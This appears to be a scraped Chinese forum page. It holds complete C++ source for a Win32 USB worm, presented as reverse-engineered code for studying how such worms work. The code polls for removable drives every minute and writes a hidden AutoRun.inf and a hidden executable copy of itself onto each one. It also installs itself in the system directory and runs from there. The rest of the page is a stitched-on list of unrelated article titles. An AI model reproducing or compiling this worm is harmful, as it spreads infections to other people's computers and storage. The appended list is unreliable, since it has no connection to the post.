该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

一个简单的C++编写的u盘病毒代码

一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。#include#include BOOL UDevice(); void ResourceToFile(char *filename,char *Name,char* Type); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName, 0, 256); memset(ToPath, 0, 256); memset(infPath, 0, 256); memset(OpenUDevice, 0, 79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if(retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFileName(NULL, szName, 256); //比较是否和U盘的盘符相同 if(strncmp(Name, szName, 1) == 0) { //得到系统目录 GetSystemDirectory(ToPath, 256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件复制到系统目录 if(CopyFile(szName, ToPath, TRUE)) { WinExec(ToPath, 0);//运行程序 } strcpy(OpenUDevice, "explorer "); strcat(OpenUDevice, Name); //打开U盘 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath, Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //还原U盘上的文件属性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //删除原有文件 DeleteFile(ToPath); DeleteFile(infPath); //释放AutoRun.inf到U盘 ResourceToFile(infPath, (char*)0x64, (char*)256); //拷贝自身文件到U盘 CopyFile(szName,ToPath,FALSE); //把这两个文件设置成系统,隐藏属性 //这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦 SetFileAttributes(ToPath, 0x6); SetFileAttributes(infPath, 0x6); } } } //一分钟检测一次U盘 Sleep(60000); } } void ResourceToFile(char *filename,char *Name,char* Type){ //寻找自身进程中的资源 HRSRC hRes = FindResource(NULL,Name,Type); if(hRes==NULL) return; //导入资源 HGLOBAL hgRes = LoadResource(NULL, hRes); if(hgRes==NULL) return; //锁定资源 void *pRes = LockResource(hgRes); if(pRes==NULL) return; //得到资源字节数 DWORD size = SizeofResource(NULL, hRes); if(size==0) return; //创建文件 HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); if(hFile==INVALID_HANDLE_VALUE) return; DWORD dwWrite; //把资源写入到文件 if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) return; //关闭文件句柄 CloseHandle(hFile); //释放资源 GlobalFree(hgRes);}

c语言弹出u盘 api,一个简单的C++编写的u盘病毒代码相关推荐

  1. c语言编写u盘杀毒软件,一个简单的C++编写的u盘病毒代码

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 一个简单的C++编写的u盘病毒代码 一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向 ...

  2. layer弹出信息框API

    layer API之键值(仅在需要时配置,未配置的会用默认) 键 : 值 描述 skin : 0 层的皮肤编号,值为整数型.目前默认只提供一种皮肤,当你按照样式规则新增皮肤时(详见skin/layer ...

  3. win7自动弹出计算机硬盘窗口,Win7弹出“Windows检测到一个硬盘问题”窗口怎么关闭...

    win7系统遇到一件很奇怪的问题,Win7经常弹出"Windows检测到一个硬盘问题"窗口,怎么关闭?大部分是由于硬盘可能出现坏道引起的,如果不想更换硬盘,而此时系统也还能使用,那 ...

  4. taobao.trades.sold.get-查询卖家已卖出的交易数据(根据创建时间),淘宝店铺卖出订单查询API接口,R2接口,oAuth2.0交易接口代码分享

    一.taobao.trades.sold.get-查询卖家已卖出的交易数据(根据创建时间),淘宝店铺卖出订单查询API接口,R2接口,oAuth2.0交易接口代码分享 搜索当前会话用户作为卖家已卖出的 ...

  5. php网页,想弹出对话框, 消息框 简单代码

    php网页,想弹出对话框, 消息框 简单代码 <?php echo "<script language=\"JavaScript\">alert(\&q ...

  6. 一个简单的makefile编写VCS仿真

    一个简单的makefile编写VCS仿真 1 VCS简介 VCS是编译型Verilog模拟器,它完全支持OVI标准的Verilog HDL语言.PLI和SDF. VCS具有行业中较高的模拟性能,其出色 ...

  7. python getmenu不到菜单句柄,从弹出菜单win32 api Python中选择项目

    我在 Windows 7 64位机器上使用python 2.7(32位).我正在使用win32 Api自动执行一些Windows任务,我也是python和win32 api的新手.我看到了类似的问题, ...

  8. 弹出窗口lhgDialog API文档

    如果您使用独立版本的lhgDialog窗口组件,您只需在页面head中引入lhgcore.lhgdialog.min.js文件,4.1.1+版本做了修改可以和jQuerya库同时引用,而且4.1.1+ ...

  9. (转)弹出窗口lhgDialog API文档

    应用到你的项目 如果您使用独立版本的lhgDialog窗口组件,您只需在页面head中引入lhgcore.lhgdialog.min.js文件,4.1.1+版本做了修改可以和jQuerya库同时引用, ...

  10. lhgdialog 弹出窗口插件 API

    lhgdialog是一功能强大的简单迷你并且高效的弹出窗口组件 通过以下代码弹出窗口 使用字面量传参 $.dialog(options) vardialog=$.dialog({title:'欢迎', ...

最新文章

  1. 调用 微信接口报错 {errcode:48001,errmsg:api unauthorized, hints: [ req_id: 1QoCla0699ns81 ]}...
  2. Java的二十三种设计模式(单例模式、工厂方法模式、抽象工厂模式)
  3. 今天网络又出问题了,现在的问题变成原IP地址不可用
  4. COALESCE操作符
  5. [渝粤教育] 西南科技大学 英美文学 在线考试复习资料
  6. 数据库学习,树形结构的数据库表Schema设计方案
  7. [ASP.NET]动态页面调用JS错误。保存为HTML文件就不报错了。
  8. mysql查看线程详解(转载)
  9. Google Home其实是个错误
  10. 快速排序算法--两个小人扔萝卜
  11. mysql随机生成 姓名+电话
  12. Go语言反射规则 - The Laws of Reflection
  13. dns配置异常怎么修复_电脑出现dns错误不能上网怎么办?dns错误修复方法
  14. android即时通讯ui框架,android IM即时通信之聊天界面UI框架
  15. 华为line服务器无响应,line注册链接不到服务器
  16. 产品经理(22) #运营
  17. python tk Lable
  18. Mac 驱动检测不出来原因
  19. arcgis怎么压缩tif文件_PDF文件怎么压缩到最小?PDF压缩失败怎么办?-PDF ——快科技(驱动之家旗下媒体)-...
  20. 最详细的SQL注入语句相关的命令整理

热门文章

  1. java日文_怎么用java编写个应用程序,让其输出日文表
  2. sketch如何做设计稿交互_sketch 交互原型制作方法
  3. 可视化大屏设计尺寸_数据可视化大屏设计尺寸怎么定?
  4. matlab中画三瓣花瓣,如何绘制漂亮的“花瓣”韦恩图?
  5. 卸载windows激活码
  6. java后端社招面试经历
  7. Introduce·艺术学超级友好必投普通期刊推荐之《戏剧之家》
  8. RK3399外设驱动之RTC驱动(一)
  9. rpc服务器不可用处于启用状态,电脑提示RPC服务器不可用怎么办?
  10. android studio配置夜神模拟器